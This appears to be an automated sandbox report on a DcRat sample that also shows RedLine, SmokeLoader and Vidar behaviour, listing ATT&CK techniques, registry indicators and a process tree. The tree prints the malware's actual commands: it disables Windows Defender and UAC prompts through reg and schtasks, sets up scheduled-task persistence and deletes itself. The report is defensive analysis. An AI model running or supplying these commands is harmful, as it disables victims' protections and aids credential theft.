dcrat | 9b6457c809bba388b20c12909a61d294f8083cd798ba447776b41bb62f98035a

Modify Existing Service

T1031

Disabling Security Tools

T1089

Processes:

reg.exereg.exereg.exereg.exereg.exe

description	ioc	process
Key created	\REGISTRY\MACHINE\Software\WOW6432Node\Policies\Microsoft\Windows Defender\Real-Time Protection	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableBehaviorMonitoring = "1"	reg.exe
Key created	\REGISTRY\MACHINE\Software\WOW6432Node\Policies\Microsoft\Windows Defender\Real-Time Protection	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableOnAccessProtection = "1"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableRealtimeMonitoring = "1"	reg.exe
Key created	\REGISTRY\MACHINE\Software\WOW6432Node\Policies\Microsoft\Windows Defender\Real-Time Protection	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableScanOnRealtimeEnable = "1"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableIOAVProtection = "1"	reg.exe
Key created	\REGISTRY\MACHINE\Software\WOW6432Node\Policies\Microsoft\Windows Defender\Real-Time Protection	reg.exe
Key created	\REGISTRY\MACHINE\Software\WOW6432Node\Policies\Microsoft\Windows Defender\Real-Time Protection	reg.exe

Modifies security service 2 TTPs 1 IoCs
evasion

Modify Registry
T1112

Modify Existing Service
T1031

Processes:

reg.exe

description ioc process

Set value (int) \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\WinDefend\Start = "4" reg.exe
RedLine
RedLine Stealer is a malware family written in C#, first appearing in early 2020.
infostealer redline

description	ioc	process
Set value (int)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\WinDefend\Start = "4"	reg.exe

RedLine payload 1 IoCs

Processes:

resource	yara_rule
behavioral2/memory/5096-279-0x0000000000400000-0x0000000000428000-memory.dmp	family_redline

SmokeLoader
Modular backdoor trojan in use since 2014.
trojan backdoor smokeloader

UAC bypass 3 TTPs 1 IoCs

evasion trojan

Bypass User Account Control

T1088

Disabling Security Tools

T1089

Modify Registry

Processes:

reg.exe

description	ioc	process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ConsentPromptBehaviorAdmin = "0"	reg.exe

Vidar
Vidar is an infostealer based on Arkei stealer.
stealer vidar
Downloads MZ/PE file

Executes dropped EXE 12 IoCs

Processes:

CCEB.exeD103.exeDB54.exeDD49.exeCCEB.exeCCEB.exeCCEB.exebuild2.exebuild3.exebuild2.exeDD49.exemstsca.exe

pid	process
3376	CCEB.exe
2236	D103.exe
2208	DB54.exe
2924	DD49.exe
4948	CCEB.exe
4584	CCEB.exe
2120	CCEB.exe
3556	build2.exe
2636	build3.exe
1920	build2.exe
5096	DD49.exe
2500	mstsca.exe

Checks computer location settings 2 TTPs 4 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

System Information Discovery

Processes:

DD49.exeCCEB.exeCCEB.exebuild2.exe

description	ioc	process
Key value queried	\REGISTRY\USER\S-1-5-21-2629973501-4017243118-3254762364-1000\Control Panel\International\Geo\Nation	DD49.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2629973501-4017243118-3254762364-1000\Control Panel\International\Geo\Nation	CCEB.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2629973501-4017243118-3254762364-1000\Control Panel\International\Geo\Nation	CCEB.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2629973501-4017243118-3254762364-1000\Control Panel\International\Geo\Nation	build2.exe

Loads dropped DLL 3 IoCs

Processes:

regsvr32.exebuild2.exe

pid process

4444 regsvr32.exe
1920 build2.exe
1920 build2.exe
Modifies file permissions 1 TTPs 1 IoCs
discovery

File and Directory Permissions Modification
T1222

Processes:

icacls.exe

pid process

4612 icacls.exe
Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials in Files
T1081
Accesses 2FA software files, possible credential harvesting 2 TTPs
spyware stealer

Data from Local System
T1005

Credentials in Files
T1081

pid	process
4444	regsvr32.exe
1920	build2.exe
1920	build2.exe

pid	process
4612	icacls.exe

Accesses Microsoft Outlook profiles 1 TTPs 3 IoCs

collection

Email Collection

T1114

Processes:

explorer.exe

description	ioc	process
Key opened	\REGISTRY\USER\S-1-5-21-2629973501-4017243118-3254762364-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	explorer.exe
Key opened	\REGISTRY\USER\S-1-5-21-2629973501-4017243118-3254762364-1000\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	explorer.exe
Key opened	\REGISTRY\USER\S-1-5-21-2629973501-4017243118-3254762364-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	explorer.exe

Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
spyware

Data from Local System
T1005

Credentials in Files
T1081

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1060

Modify Registry

Processes:

CCEB.exe

description	ioc	process
Set value (str)	\REGISTRY\USER\S-1-5-21-2629973501-4017243118-3254762364-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\SysHelper = "\"C:\\Users\\Admin\\AppData\\Local\\38461a05-11c4-49f0-b0dc-d3acb4296d6b\\CCEB.exe\" --AutoStart"	CCEB.exe

Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012
Looks up external IP address via web service 3 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.

Processes:

flow ioc

43 api.2ip.ua
44 api.2ip.ua
52 api.2ip.ua

flow	ioc
43	api.2ip.ua
44	api.2ip.ua
52	api.2ip.ua

Suspicious use of SetThreadContext 4 IoCs

Processes:

CCEB.exeCCEB.exebuild2.exeDD49.exe

description	pid	process	target process
PID 3376 set thread context of 4948	3376	CCEB.exe	CCEB.exe
PID 4584 set thread context of 2120	4584	CCEB.exe	CCEB.exe
PID 3556 set thread context of 1920	3556	build2.exe	build2.exe
PID 2924 set thread context of 5096	2924	DD49.exe	DD49.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Checks SCSI registry key(s) 3 TTPs 3 IoCs

SCSI information is often read in order to detect sandboxing environments.

Query Registry

Peripheral Device Discovery

T1120

System Information Discovery

Processes:

file.exe

description	ioc	process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	file.exe
Key queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	file.exe
Key enumerated	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	file.exe

Checks processor information in registry 2 TTPs 2 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

System Information Discovery

Processes:

build2.exe

description	ioc	process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	build2.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	build2.exe

Creates scheduled task(s) 1 TTPs 2 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
persistence

Scheduled Task
T1053

Processes:

schtasks.exeschtasks.exe

pid process

2716 schtasks.exe
396 schtasks.exe
Delays execution with timeout.exe 1 IoCs
evasion

Processes:

timeout.exe

pid process

5068 timeout.exe
Kills process with taskkill 1 IoCs
evasion

Processes:

taskkill.exe

pid process

3408 taskkill.exe

pid	process
2716	schtasks.exe
396	schtasks.exe

pid	process
5068	timeout.exe

pid	process
3408	taskkill.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

Processes:

file.exe

pid	process
4800	file.exe
4800	file.exe
2212
2212
2212
2212
2212
2212
2212
2212
2212
2212
2212
2212
2212
2212
2212
2212
2212
2212
2212
2212
2212
2212
2212
2212
2212
2212
2212
2212
2212
2212
2212
2212
2212
2212
2212
2212
2212
2212
2212
2212
2212
2212
2212
2212
2212
2212
2212
2212
2212
2212
2212
2212
2212
2212
2212
2212
2212
2212
2212
2212
2212
2212

Suspicious behavior: GetForegroundWindowSpam 1 IoCs

Processes:

pid process

2212
Suspicious behavior: MapViewOfSection 5 IoCs

Processes:

file.exe

pid process

4800 file.exe
2212
2212
2212
2212

pid	process
2212

Suspicious use of AdjustPrivilegeToken 64 IoCs

Processes:

DD49.exewmic.exepowershell.exeWMIC.exe

description	pid	process
Token: SeDebugPrivilege	2924	DD49.exe
Token: SeIncreaseQuotaPrivilege	1104	wmic.exe
Token: SeSecurityPrivilege	1104	wmic.exe
Token: SeTakeOwnershipPrivilege	1104	wmic.exe
Token: SeLoadDriverPrivilege	1104	wmic.exe
Token: SeSystemProfilePrivilege	1104	wmic.exe
Token: SeSystemtimePrivilege	1104	wmic.exe
Token: SeProfSingleProcessPrivilege	1104	wmic.exe
Token: SeIncBasePriorityPrivilege	1104	wmic.exe
Token: SeCreatePagefilePrivilege	1104	wmic.exe
Token: SeBackupPrivilege	1104	wmic.exe
Token: SeRestorePrivilege	1104	wmic.exe
Token: SeShutdownPrivilege	1104	wmic.exe
Token: SeDebugPrivilege	1104	wmic.exe
Token: SeSystemEnvironmentPrivilege	1104	wmic.exe
Token: SeRemoteShutdownPrivilege	1104	wmic.exe
Token: SeUndockPrivilege	1104	wmic.exe
Token: SeManageVolumePrivilege	1104	wmic.exe
Token: 33	1104	wmic.exe
Token: 34	1104	wmic.exe
Token: 35	1104	wmic.exe
Token: 36	1104	wmic.exe
Token: SeIncreaseQuotaPrivilege	1104	wmic.exe
Token: SeSecurityPrivilege	1104	wmic.exe
Token: SeTakeOwnershipPrivilege	1104	wmic.exe
Token: SeLoadDriverPrivilege	1104	wmic.exe
Token: SeSystemProfilePrivilege	1104	wmic.exe
Token: SeSystemtimePrivilege	1104	wmic.exe
Token: SeProfSingleProcessPrivilege	1104	wmic.exe
Token: SeIncBasePriorityPrivilege	1104	wmic.exe
Token: SeCreatePagefilePrivilege	1104	wmic.exe
Token: SeBackupPrivilege	1104	wmic.exe
Token: SeRestorePrivilege	1104	wmic.exe
Token: SeShutdownPrivilege	1104	wmic.exe
Token: SeDebugPrivilege	1104	wmic.exe
Token: SeSystemEnvironmentPrivilege	1104	wmic.exe
Token: SeRemoteShutdownPrivilege	1104	wmic.exe
Token: SeUndockPrivilege	1104	wmic.exe
Token: SeManageVolumePrivilege	1104	wmic.exe
Token: 33	1104	wmic.exe
Token: 34	1104	wmic.exe
Token: 35	1104	wmic.exe
Token: 36	1104	wmic.exe
Token: SeShutdownPrivilege	2212
Token: SeCreatePagefilePrivilege	2212
Token: SeDebugPrivilege	4084	powershell.exe
Token: SeShutdownPrivilege	2212
Token: SeCreatePagefilePrivilege	2212
Token: SeIncreaseQuotaPrivilege	3504	WMIC.exe
Token: SeSecurityPrivilege	3504	WMIC.exe
Token: SeTakeOwnershipPrivilege	3504	WMIC.exe
Token: SeLoadDriverPrivilege	3504	WMIC.exe
Token: SeSystemProfilePrivilege	3504	WMIC.exe
Token: SeSystemtimePrivilege	3504	WMIC.exe
Token: SeProfSingleProcessPrivilege	3504	WMIC.exe
Token: SeIncBasePriorityPrivilege	3504	WMIC.exe
Token: SeCreatePagefilePrivilege	3504	WMIC.exe
Token: SeBackupPrivilege	3504	WMIC.exe
Token: SeRestorePrivilege	3504	WMIC.exe
Token: SeShutdownPrivilege	3504	WMIC.exe
Token: SeDebugPrivilege	3504	WMIC.exe
Token: SeSystemEnvironmentPrivilege	3504	WMIC.exe
Token: SeRemoteShutdownPrivilege	3504	WMIC.exe
Token: SeUndockPrivilege	3504	WMIC.exe

Suspicious use of WriteProcessMemory 64 IoCs

Processes:

regsvr32.exeD103.exeDD49.exeCCEB.execmd.execmd.exeCCEB.exeCCEB.exe

description	pid	process	target process
PID 2212 wrote to memory of 324	2212		regsvr32.exe
PID 2212 wrote to memory of 324	2212		regsvr32.exe
PID 324 wrote to memory of 4444	324	regsvr32.exe	regsvr32.exe
PID 324 wrote to memory of 4444	324	regsvr32.exe	regsvr32.exe
PID 324 wrote to memory of 4444	324	regsvr32.exe	regsvr32.exe
PID 2212 wrote to memory of 3376	2212		CCEB.exe
PID 2212 wrote to memory of 3376	2212		CCEB.exe
PID 2212 wrote to memory of 3376	2212		CCEB.exe
PID 2212 wrote to memory of 2236	2212		D103.exe
PID 2212 wrote to memory of 2236	2212		D103.exe
PID 2212 wrote to memory of 2236	2212		D103.exe
PID 2212 wrote to memory of 2208	2212		DB54.exe
PID 2212 wrote to memory of 2208	2212		DB54.exe
PID 2212 wrote to memory of 2208	2212		DB54.exe
PID 2212 wrote to memory of 2924	2212		DD49.exe
PID 2212 wrote to memory of 2924	2212		DD49.exe
PID 2212 wrote to memory of 2924	2212		DD49.exe
PID 2212 wrote to memory of 2312	2212		explorer.exe
PID 2212 wrote to memory of 2312	2212		explorer.exe
PID 2212 wrote to memory of 2312	2212		explorer.exe
PID 2212 wrote to memory of 2312	2212		explorer.exe
PID 2212 wrote to memory of 2008	2212		explorer.exe
PID 2212 wrote to memory of 2008	2212		explorer.exe
PID 2212 wrote to memory of 2008	2212		explorer.exe
PID 2236 wrote to memory of 1104	2236	D103.exe	wmic.exe
PID 2236 wrote to memory of 1104	2236	D103.exe	wmic.exe
PID 2236 wrote to memory of 1104	2236	D103.exe	wmic.exe
PID 2924 wrote to memory of 4084	2924	DD49.exe	powershell.exe
PID 2924 wrote to memory of 4084	2924	DD49.exe	powershell.exe
PID 2924 wrote to memory of 4084	2924	DD49.exe	powershell.exe
PID 3376 wrote to memory of 4948	3376	CCEB.exe	CCEB.exe
PID 3376 wrote to memory of 4948	3376	CCEB.exe	CCEB.exe
PID 3376 wrote to memory of 4948	3376	CCEB.exe	CCEB.exe
PID 3376 wrote to memory of 4948	3376	CCEB.exe	CCEB.exe
PID 3376 wrote to memory of 4948	3376	CCEB.exe	CCEB.exe
PID 3376 wrote to memory of 4948	3376	CCEB.exe	CCEB.exe
PID 3376 wrote to memory of 4948	3376	CCEB.exe	CCEB.exe
PID 3376 wrote to memory of 4948	3376	CCEB.exe	CCEB.exe
PID 3376 wrote to memory of 4948	3376	CCEB.exe	CCEB.exe
PID 3376 wrote to memory of 4948	3376	CCEB.exe	CCEB.exe
PID 2236 wrote to memory of 3404	2236	D103.exe	cmd.exe
PID 2236 wrote to memory of 3404	2236	D103.exe	cmd.exe
PID 2236 wrote to memory of 3404	2236	D103.exe	cmd.exe
PID 3404 wrote to memory of 3504	3404	cmd.exe	WMIC.exe
PID 3404 wrote to memory of 3504	3404	cmd.exe	WMIC.exe
PID 3404 wrote to memory of 3504	3404	cmd.exe	WMIC.exe
PID 2236 wrote to memory of 5028	2236	D103.exe	cmd.exe
PID 2236 wrote to memory of 5028	2236	D103.exe	cmd.exe
PID 2236 wrote to memory of 5028	2236	D103.exe	cmd.exe
PID 5028 wrote to memory of 4296	5028	cmd.exe	WMIC.exe
PID 5028 wrote to memory of 4296	5028	cmd.exe	WMIC.exe
PID 5028 wrote to memory of 4296	5028	cmd.exe	WMIC.exe
PID 4948 wrote to memory of 4612	4948	CCEB.exe	icacls.exe
PID 4948 wrote to memory of 4612	4948	CCEB.exe	icacls.exe
PID 4948 wrote to memory of 4612	4948	CCEB.exe	icacls.exe
PID 4948 wrote to memory of 4584	4948	CCEB.exe	CCEB.exe
PID 4948 wrote to memory of 4584	4948	CCEB.exe	CCEB.exe
PID 4948 wrote to memory of 4584	4948	CCEB.exe	CCEB.exe
PID 4584 wrote to memory of 2120	4584	CCEB.exe	CCEB.exe
PID 4584 wrote to memory of 2120	4584	CCEB.exe	CCEB.exe
PID 4584 wrote to memory of 2120	4584	CCEB.exe	CCEB.exe
PID 4584 wrote to memory of 2120	4584	CCEB.exe	CCEB.exe
PID 4584 wrote to memory of 2120	4584	CCEB.exe	CCEB.exe
PID 4584 wrote to memory of 2120	4584	CCEB.exe	CCEB.exe

outlook_office_path 1 IoCs

Processes:

explorer.exe

description	ioc	process
Key opened	\REGISTRY\USER\S-1-5-21-2629973501-4017243118-3254762364-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	explorer.exe

outlook_win_path 1 IoCs

Processes:

explorer.exe

description	ioc	process
Key opened	\REGISTRY\USER\S-1-5-21-2629973501-4017243118-3254762364-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	explorer.exe

C:\Users\Admin\AppData\Local\Temp\file.exe
"C:\Users\Admin\AppData\Local\Temp\file.exe"
1⤵
- DcRat
- Checks SCSI registry key(s)
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
PID:4800

C:\Windows\system32\regsvr32.exe
regsvr32 /s C:\Users\Admin\AppData\Local\Temp\CB63.dll
1⤵
- Suspicious use of WriteProcessMemory
PID:324

C:\Windows\SysWOW64\regsvr32.exe
/s C:\Users\Admin\AppData\Local\Temp\CB63.dll
2⤵
- Loads dropped DLL
PID:4444

C:\Users\Admin\AppData\Local\Temp\CCEB.exe
C:\Users\Admin\AppData\Local\Temp\CCEB.exe
1⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious use of WriteProcessMemory
PID:3376

C:\Users\Admin\AppData\Local\Temp\CCEB.exe
C:\Users\Admin\AppData\Local\Temp\CCEB.exe
2⤵
- DcRat
- Executes dropped EXE
- Checks computer location settings
- Adds Run key to start application
- Suspicious use of WriteProcessMemory
PID:4948

C:\Windows\SysWOW64\icacls.exe
icacls "C:\Users\Admin\AppData\Local\38461a05-11c4-49f0-b0dc-d3acb4296d6b" /deny *S-1-1-0:(OI)(CI)(DE,DC)
3⤵
- Modifies file permissions
PID:4612

C:\Users\Admin\AppData\Local\Temp\CCEB.exe
"C:\Users\Admin\AppData\Local\Temp\CCEB.exe" --Admin IsNotAutoStart IsNotTask
3⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious use of WriteProcessMemory
PID:4584

C:\Users\Admin\AppData\Local\Temp\CCEB.exe
"C:\Users\Admin\AppData\Local\Temp\CCEB.exe" --Admin IsNotAutoStart IsNotTask
4⤵
- Executes dropped EXE
- Checks computer location settings
PID:2120

C:\Users\Admin\AppData\Local\e597c6d2-e1ae-4fee-b7cd-550038d0a4ee\build2.exe
"C:\Users\Admin\AppData\Local\e597c6d2-e1ae-4fee-b7cd-550038d0a4ee\build2.exe"
5⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
PID:3556

C:\Users\Admin\AppData\Local\e597c6d2-e1ae-4fee-b7cd-550038d0a4ee\build2.exe
"C:\Users\Admin\AppData\Local\e597c6d2-e1ae-4fee-b7cd-550038d0a4ee\build2.exe"
6⤵
- Executes dropped EXE
- Checks computer location settings
- Loads dropped DLL
- Checks processor information in registry
PID:1920

C:\Windows\SysWOW64\cmd.exe
"C:\Windows\System32\cmd.exe" /c taskkill /im build2.exe /f & timeout /t 6 & del /f /q "C:\Users\Admin\AppData\Local\e597c6d2-e1ae-4fee-b7cd-550038d0a4ee\build2.exe" & del C:\PrograData\*.dll & exit
7⤵
PID:4996

C:\Windows\SysWOW64\taskkill.exe
taskkill /im build2.exe /f
8⤵
- Kills process with taskkill
PID:3408

C:\Windows\SysWOW64\timeout.exe
timeout /t 6
8⤵
- Delays execution with timeout.exe
PID:5068

C:\Users\Admin\AppData\Local\e597c6d2-e1ae-4fee-b7cd-550038d0a4ee\build3.exe
"C:\Users\Admin\AppData\Local\e597c6d2-e1ae-4fee-b7cd-550038d0a4ee\build3.exe"
5⤵
- Executes dropped EXE
PID:2636

C:\Windows\SysWOW64\schtasks.exe
/C /create /F /sc minute /mo 1 /tn "Azure-Update-Task" /tr "C:\Users\Admin\AppData\Roaming\Microsoft\Network\mstsca.exe"
6⤵
- DcRat
- Creates scheduled task(s)
PID:2716

C:\Users\Admin\AppData\Local\Temp\D103.exe
C:\Users\Admin\AppData\Local\Temp\D103.exe
1⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
PID:2236

C:\Windows\SysWOW64\Wbem\wmic.exe
wmic os get Caption
2⤵
- Suspicious use of AdjustPrivilegeToken
PID:1104

C:\Windows\SysWOW64\cmd.exe
cmd /C "wmic path win32_VideoController get name"
2⤵
- Suspicious use of WriteProcessMemory
PID:3404

C:\Windows\SysWOW64\Wbem\WMIC.exe
wmic path win32_VideoController get name
3⤵
- Suspicious use of AdjustPrivilegeToken
PID:3504

C:\Windows\SysWOW64\cmd.exe
cmd /C "wmic cpu get name"
2⤵
- Suspicious use of WriteProcessMemory
PID:5028

C:\Windows\SysWOW64\Wbem\WMIC.exe
wmic cpu get name
3⤵
PID:4296

C:\Users\Admin\AppData\Local\Temp\DB54.exe
C:\Users\Admin\AppData\Local\Temp\DB54.exe
1⤵
- Executes dropped EXE
PID:2208

C:\Users\Admin\AppData\Local\Temp\DD49.exe
C:\Users\Admin\AppData\Local\Temp\DD49.exe
1⤵
- Executes dropped EXE
- Checks computer location settings
- Suspicious use of SetThreadContext
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2924

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -enc UwB0AGEAcgB0AC0AUwBsAGUAZQBwACAALQBTAGUAYwBvAG4AZABzACAANQAwAA==
2⤵
- Suspicious use of AdjustPrivilegeToken
PID:4084

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\Tqqcbghwdivfantidef.bat" "
2⤵
PID:3628

C:\Windows\SysWOW64\reg.exe
reg add "HKLM\Software\Microsoft\Windows Defender\Features" /v "TamperProtection" /t REG_DWORD /d "0" /f
3⤵
PID:1924

C:\Windows\SysWOW64\reg.exe
reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "ConsentPromptBehaviorAdmin" /t "REG_DWORD" /d 0 /f
3⤵
- UAC bypass
PID:4268

C:\Windows\SysWOW64\reg.exe
reg delete "HKLM\Software\Policies\Microsoft\Windows Defender" /f
3⤵
PID:3172

C:\Windows\SysWOW64\reg.exe
reg add "HKLM\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d "1" /f
3⤵
PID:5080

C:\Windows\SysWOW64\reg.exe
reg add "HKLM\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiVirus" /t REG_DWORD /d "1" /f
3⤵
PID:3868

C:\Windows\SysWOW64\reg.exe
reg add "HKLM\Software\Policies\Microsoft\Windows Defender\MpEngine" /v "MpEnablePus" /t REG_DWORD /d "0" /f
3⤵
PID:3564

C:\Windows\SysWOW64\reg.exe
reg add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableBehaviorMonitoring" /t REG_DWORD /d "1" /f
3⤵
- Modifies Windows Defender Real-time Protection settings
PID:3060

C:\Windows\SysWOW64\reg.exe
reg add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableIOAVProtection" /t REG_DWORD /d "1" /f
3⤵
- Modifies Windows Defender Real-time Protection settings
PID:1580

C:\Windows\SysWOW64\reg.exe
reg add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableOnAccessProtection" /t REG_DWORD /d "1" /f
3⤵
- Modifies Windows Defender Real-time Protection settings
PID:4440

C:\Windows\SysWOW64\reg.exe
reg add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRealtimeMonitoring" /t REG_DWORD /d "1" /f
3⤵
- Modifies Windows Defender Real-time Protection settings
PID:1548

C:\Windows\SysWOW64\reg.exe
reg add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableScanOnRealtimeEnable" /t REG_DWORD /d "1" /f
3⤵
- Modifies Windows Defender Real-time Protection settings
PID:3064

C:\Windows\SysWOW64\reg.exe
reg add "HKLM\Software\Policies\Microsoft\Windows Defender\Reporting" /v "DisableEnhancedNotifications" /t REG_DWORD /d "1" /f
3⤵
PID:3624

C:\Windows\SysWOW64\reg.exe
reg add "HKLM\Software\Policies\Microsoft\Windows Defender\SpyNet" /v "DisableBlockAtFirstSeen" /t REG_DWORD /d "1" /f
3⤵
PID:3388

C:\Windows\SysWOW64\reg.exe
reg add "HKLM\Software\Policies\Microsoft\Windows Defender\SpyNet" /v "SpynetReporting" /t REG_DWORD /d "0" /f
3⤵
PID:4048

C:\Windows\SysWOW64\reg.exe
reg add "HKLM\Software\Policies\Microsoft\Windows Defender\SpyNet" /v "SubmitSamplesConsent" /t REG_DWORD /d "2" /f
3⤵
PID:1572

C:\Windows\SysWOW64\reg.exe
reg add "HKLM\System\CurrentControlSet\Control\WMI\Autologger\DefenderApiLogger" /v "Start" /t REG_DWORD /d "0" /f
3⤵
PID:4224

C:\Windows\SysWOW64\reg.exe
reg add "HKLM\System\CurrentControlSet\Control\WMI\Autologger\DefenderAuditLogger" /v "Start" /t REG_DWORD /d "0" /f
3⤵
PID:4644

C:\Windows\SysWOW64\schtasks.exe
schtasks /Change /TN "Microsoft\Windows\ExploitGuard\ExploitGuard MDM policy Refresh" /Disable
3⤵
PID:4248

C:\Windows\SysWOW64\schtasks.exe
schtasks /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Cache Maintenance" /Disable
3⤵
PID:4172

C:\Windows\SysWOW64\schtasks.exe
schtasks /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Cleanup" /Disable
3⤵
PID:5028

C:\Windows\SysWOW64\schtasks.exe
schtasks /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Scheduled Scan" /Disable
3⤵
PID:1188

C:\Windows\SysWOW64\schtasks.exe
schtasks /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Verification" /Disable
3⤵
PID:4472

C:\Windows\SysWOW64\reg.exe
reg delete "HKLM\Software\Microsoft\Windows\CurrentVersion\Explorer\StartupApproved\Run" /v "SecurityHealth" /f
3⤵
PID:2296

C:\Windows\SysWOW64\reg.exe
reg delete "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v "SecurityHealth" /f
3⤵
PID:4220

C:\Windows\SysWOW64\reg.exe
reg delete "HKCR\*\shellex\ContextMenuHandlers\EPP" /f
3⤵
PID:4736

C:\Windows\SysWOW64\reg.exe
reg delete "HKCR\Directory\shellex\ContextMenuHandlers\EPP" /f
3⤵
PID:3188

C:\Windows\SysWOW64\reg.exe
reg delete "HKCR\Drive\shellex\ContextMenuHandlers\EPP" /f
3⤵
PID:2628

C:\Windows\SysWOW64\reg.exe
reg add "HKLM\System\CurrentControlSet\Services\WdBoot" /v "Start" /t REG_DWORD /d "4" /f
3⤵
PID:2640

C:\Windows\SysWOW64\reg.exe
reg add "HKLM\System\CurrentControlSet\Services\WdFilter" /v "Start" /t REG_DWORD /d "4" /f
3⤵
PID:3856

C:\Windows\SysWOW64\reg.exe
reg add "HKLM\System\CurrentControlSet\Services\WdNisDrv" /v "Start" /t REG_DWORD /d "4" /f
3⤵
PID:3356

C:\Windows\SysWOW64\reg.exe
reg add "HKLM\System\CurrentControlSet\Services\WdNisSvc" /v "Start" /t REG_DWORD /d "4" /f
3⤵
PID:4584

C:\Windows\SysWOW64\reg.exe
reg add "HKLM\System\CurrentControlSet\Services\WinDefend" /v "Start" /t REG_DWORD /d "4" /f
3⤵
- Modifies security service
PID:5040

C:\Users\Admin\AppData\Local\Temp\DD49.exe
C:\Users\Admin\AppData\Local\Temp\DD49.exe
2⤵
- Executes dropped EXE
PID:5096

C:\Windows\SysWOW64\explorer.exe
C:\Windows\SysWOW64\explorer.exe
1⤵
- Accesses Microsoft Outlook profiles
- outlook_office_path
- outlook_win_path
PID:2312

C:\Windows\explorer.exe
C:\Windows\explorer.exe
1⤵
PID:2008

C:\Users\Admin\AppData\Roaming\Microsoft\Network\mstsca.exe
C:\Users\Admin\AppData\Roaming\Microsoft\Network\mstsca.exe
1⤵
- Executes dropped EXE
PID:2500

C:\Windows\SysWOW64\schtasks.exe
/C /create /F /sc minute /mo 1 /tn "Azure-Update-Task" /tr "C:\Users\Admin\AppData\Roaming\Microsoft\Network\mstsca.exe"
2⤵
- DcRat
- Creates scheduled task(s)
PID:396

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Scheduled Task

T1053

Persistence

Modify Existing Service

T1031

Registry Run Keys / Startup Folder

T1060

Scheduled Task

T1053

Privilege Escalation

Bypass User Account Control

T1088

Scheduled Task

T1053

Defense Evasion

Bypass User Account Control

T1088

Disabling Security Tools

T1089

File and Directory Permissions Modification

T1222

Modify Registry

Credential Access

Credentials in Files

T1081

Discovery

Peripheral Device Discovery

T1120

Query Registry

System Information Discovery